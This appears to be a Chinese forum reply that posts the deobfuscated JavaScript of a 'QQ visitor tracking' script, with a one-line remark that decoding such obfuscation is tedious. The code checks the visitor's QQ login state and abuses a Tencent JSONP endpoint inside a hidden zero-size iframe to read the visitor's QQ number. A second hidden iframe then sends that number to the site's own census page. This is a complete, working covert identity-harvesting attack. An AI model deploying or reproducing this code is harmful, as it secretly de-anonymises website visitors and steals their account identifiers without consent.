解决方案 »

  1.   

    很是无聊解这种加密。var isIE = document.all ? true : false;
    var ie = document.all ? true : false;
    var isIE = !!window.ActiveXObject;
    function loadJS(jsurl, onsuccess, charset, onerr) {
        var xScript = document.createElement("script");
        xScript.type = "text/javascript";
        if (charset == '') {
            xScript.charset = "utf-8"
        } else {
            xScript.charset = charset
        }
        xScript.src = jsurl;
        xScript.onerror = function () {
            if (onerr) {
                setTimeout(onerr, 10)
            }
        };
        if (ie) {
            xScript.onreadystatechange = function () {
                if (xScript.readyState) {
                    if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
                        xScript.onreadystatechange = null;
                        xScript.onload = null;
                        if (onsuccess) {
                            setTimeout(onsuccess, 10)
                        }
                    }
                } else {
                    xScript.onreadystatechange = null;
                    xScript.onload = null;
                    if (onsuccess) {
                        setTimeout(onsuccess, 10)
                    }
                }
            }
        } else {
            xScript.onload = function () {
                if (xScript.readyState) {
                    if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
                        xScript.onreadystatechange = null;
                        xScript.onload = null;
                        if (onsuccess) {
                            setTimeout(onsuccess, 10)
                        }
                    }
                } else {
                    xScript.onreadystatechange = null;
                    xScript.onload = null;
                    if (onsuccess) {
                        setTimeout(onsuccess, 10)
                    }
                }
            }
        }
        document.getElementsByTagName('HEAD').item(0).appendChild(xScript)
    }
    function fangkenoLogin() {
        loadJS("http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime(), checkLoginCB)
    }
    function checkLoginCB() {
        try {
            if (data0.err == 1026) {
                setTimeout(abcc, 100)
            } else {
                setTimeout(fangkenoLogin, 5000)
            }
        } catch (e) {
            setTimeout(fangkenoLogin, 5000)
        }
    }
    function abcc() {
        window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_open_box?callback=x'><\/script>";
        var frameid = "frameImg" + Math.random();
        var o_v_stat_iframe = document.createElement("iframe");
        o_v_stat_iframe.src = "javascript:parent.img;";
        o_v_stat_iframe.id = frameid;
        o_v_stat_iframe.scrolling = "no";
        o_v_stat_iframe.setAttribute("frameborder", "0", 0);
        o_v_stat_iframe.style.width = "0px";
        o_v_stat_iframe.style.height = "0px";
        document.body.appendChild(o_v_stat_iframe)
    }
    function scn_sendInfo(c) {
        try {
            var a = c;
            xx1 = a.uin;
            xx2 = 'Null';
            setTimeout(xxx_third, 1)
        } catch (e) {
        }
    }
    function xxx_third() {
        var xurl = location.href;
        var xurl = xurl.replace("T-census.php", "C-census.php");
        var iframe = document.createElement("iframe");
        iframe.src = xurl + "&xx1=" + xx1 + "&xx2=" + xx2;
        iframe.id = "QQfangke_iframe_two";
        iframe.name = "QQfangke_iframe_two";
        iframe.style.width = "0px";
        iframe.style.height = "0px";
        iframe.scrolling = "no";
        iframe.setAttribute('frameborder', '0', 0);
        document.body.appendChild(iframe)
    }
    fangkenoLogin();